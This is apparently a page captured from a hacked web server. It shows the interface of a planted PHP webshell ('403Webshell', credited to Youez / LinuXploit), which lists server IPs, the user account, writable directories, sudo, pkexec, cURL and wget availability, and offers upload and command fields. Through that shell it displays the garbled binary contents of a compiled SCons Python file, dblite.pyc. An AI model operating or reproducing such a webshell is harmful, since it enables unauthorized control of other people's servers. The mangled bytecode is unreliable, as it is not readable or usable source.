403Webshell
Server IP : 216.92.14.13  /  Your IP : 216.73.216.171
Web Server : Apache
System : Linux vps4089.pairvps.com 5.15.0-190-generic #200-Ubuntu SMP Fri Aug 7 15:06:04 UTC 2026 x86_64
User : rmlac2fmr ( 1040637)
PHP Version : 8.2.32
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /lib/scons/SCons/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /lib/scons/SCons/dblite.pyc
�
�b3Qc@s
ddlZddlZddlZddlZddlZddlZdZdad�Z	ye
Wnek
r�d�Zn
Xd�Zye
d�Wnek
r�d�Z
nXdZ
d	Zd
efd��YZddd
�Zd�Zedkre�ndS(i����NicCs
dG|GHdS(Ns%Warning: Discarding corrupt database:((tfilename((s/usr/lib/scons/SCons/dblite.pytcorruption_warningscCs
t|t�S(N(t
isinstancetstr(ts((s/usr/lib/scons/SCons/dblite.pyt	is_stringscCst|�ttfkS(N(ttypeRtunicode(R((s/usr/lib/scons/SCons/dblite.pyRstacCs|S(N((R((s/usr/lib/scons/SCons/dblite.pyRss.dblites.tmptdblitecBs�eZejZeej�Ze	j
Zy
e	jZ
Wnek
rMdZ
nXe	jZe	jZejZejZd�Zd�Zd�Zd�Zd�Zd�Zd�Zd�Z d�Z!d	�Z"d
�Z#e#Z$d�Z%RS(
c
Cs{|dkst�|dkr'd}ntjj|�\}}|tkrd||_|t|_n|t|_|t|_||_	||_
i|_d|_|j
dk	rXtj�dks�tj�dkrXy.tj|j�}|j|_|j|_Wqjtk
rT}ttjjdd��|_ttjjdd��|_qjXnd|_d|_|j	dkr�|j|jd	|j
�n�y|j|jd
�}WnDtk
r�}|j	dkr�|�n|j|jd	|j
�n�X|j�}	t|	�dkrwytj|	�|_Wqwtjt fk
rst!dkrT�nt!dkrtt"|j�qtqwXndS(
NtrtwtctnitSUDO_UIDi����tSUDO_GIDtwbtrbi(NR
RRR
(#tNonetAssertionErrortostpathtsplitextt
dblite_suffixt
_file_namet
tmp_suffixt	_tmp_namet_flagt_modet_dictt_needs_synct	_os_chowntgeteuidtgetuidtstattst_uidt	_chown_totst_gidt	_chgrp_totOSErrortinttenvirontgett_opentIOErrortreadtlentpickletloadstUnpicklingErrortEOFErrortignore_corrupt_dbfilesR(
tselftfile_base_nametflagtmodetbasetexttstatinfotetftp((s/usr/lib/scons/SCons/dblite.pyt__init__;sP		

				3%			cCs|jr|j�ndS(N(Rtsync(R4((s/usr/lib/scons/SCons/dblite.pytcloseks	cCs|j�dS(N(R@(R4((s/usr/lib/scons/SCons/dblite.pyt__del__oscCs1|j�|j|jd|j�}|j|j|d�|j�y|j|jd�Wnt	k
ronX|j
|j�|j|j|j�|jdk	r�|jdkr�y |j|j|j|j�Wq�t	k
r�q�Xnd|_tr-|j|j|jdtt|j����ndS(NRii�it_(t_check_writableR+RRt_pickle_dumpRR@t	_os_chmodRR't
_os_unlinkt
_os_renameRRR$R&Rtkeep_all_filest_shutil_copyfileRR(t
_time_time(R4R<((s/usr/lib/scons/SCons/dblite.pyR?rs(


 
	cCs)|jdkr%td|j��ndS(NR
sRead-only database: %s(RR,R(R4((s/usr/lib/scons/SCons/dblite.pyRC�scCs|j|S(N(R(R4tkey((s/usr/lib/scons/SCons/dblite.pyt__getitem__�scCsz|j�t|�s5td|t|�f��nt|�s`td|t|�f��n||j|<d|_dS(Ns#key `%s' must be a string but is %ss%value `%s' must be a string but is %si(RCRt	TypeErrorRRR(R4RKtvalue((s/usr/lib/scons/SCons/dblite.pyt__setitem__�s

cCst|jj��S(N(tlistRtkeys(R4((s/usr/lib/scons/SCons/dblite.pyRQ�scCs
||jkS(N(R(R4RK((s/usr/lib/scons/SCons/dblite.pythas_key�scCs
||jkS(N(R(R4RK((s/usr/lib/scons/SCons/dblite.pyt__contains__�scCs
|jj�S(N(Rtiterkeys(R4((s/usr/lib/scons/SCons/dblite.pyRT�scCs
t|j�S(N(R.R(R4((s/usr/lib/scons/SCons/dblite.pyt__len__�sN(&t__name__t
__module__tbuiltinstopenR+tstaticmethodR/tdumpRDRtchmodREtchownRtAttributeErrorRtrenameRGtunlinkRFtshutiltcopyfileRIttimeRJR>R@RAR?RCRLRORQRRRSRTt__iter__RU(((s/usr/lib/scons/SCons/dblite.pyR	#s0		


					0											i�cCst|||�S(N(R	(tfileR6R7((s/usr/lib/scons/SCons/dblite.pyRY�scCs`tdd�}t|�dks't�d|d<|ddksGt�td�|td�<|td�td�kst�|j�tdd�}t|�d	ks�tt|���|ddks�t�d|d<|ddks�t�td�|td�<|td�td�ks*t�|j�tdd
�}t|�dksgtt|���|ddks}t�|ddks�t�|td�td�ks�t�|td�td�ks�t�y|j�Wn+tk
r}t|�dkst�n
Xtd
��tdd�}t|�dksFt�d|d<|j�yd|d<Wn7tk
r�}t|�dks�tt|���n
Xtd��ydd	g|d<Wn7tk
r�}t|�dkstt|���n
Xtd��tdd
�}t|�dks/t�tdd�}t|�dksVt�t	j
dd�tdd
�}t	j
dd�jd�ytdd
�}Wntj
k
r�n
Xtd��d	atdd
�}t|�dks�t�tjd�ytdd�}Wn7tk
rJ}t|�dksWtt|���n
Xtd
��dGHdS(NttmpR
itbartfootubartufooRiR
isRead-only database: tmp.dblitesIOError expected.Rtpongtpingttupleis3key `(1, 2)' must be a string but is <type 'tuple'>sTypeError exception expectedRPs4value `[1, 2]' must be a string but is <type 'list'>is
tmp.dblitetxspickle exception expected.s1[Errno 2] No such file or directory: 'tmp.dblite'tOK(ii(RYR.RRR?R,RtRuntimeErrorRMR	R+twriteR/R1R3RR`(tdbR;((s/usr/lib/scons/SCons/dblite.pyt	_exercise�s|
"
$
"
$""

((
(t__main__(tSCons.compattSConsRXRR/RaRcRHR3RRt	NameErrorRRRtobjectR	RRYRsRV(((s/usr/lib/scons/SCons/dblite.pyt<module>s0	

	

�	F

Youez - 2016 - github.com/yon3zu
LinuXploit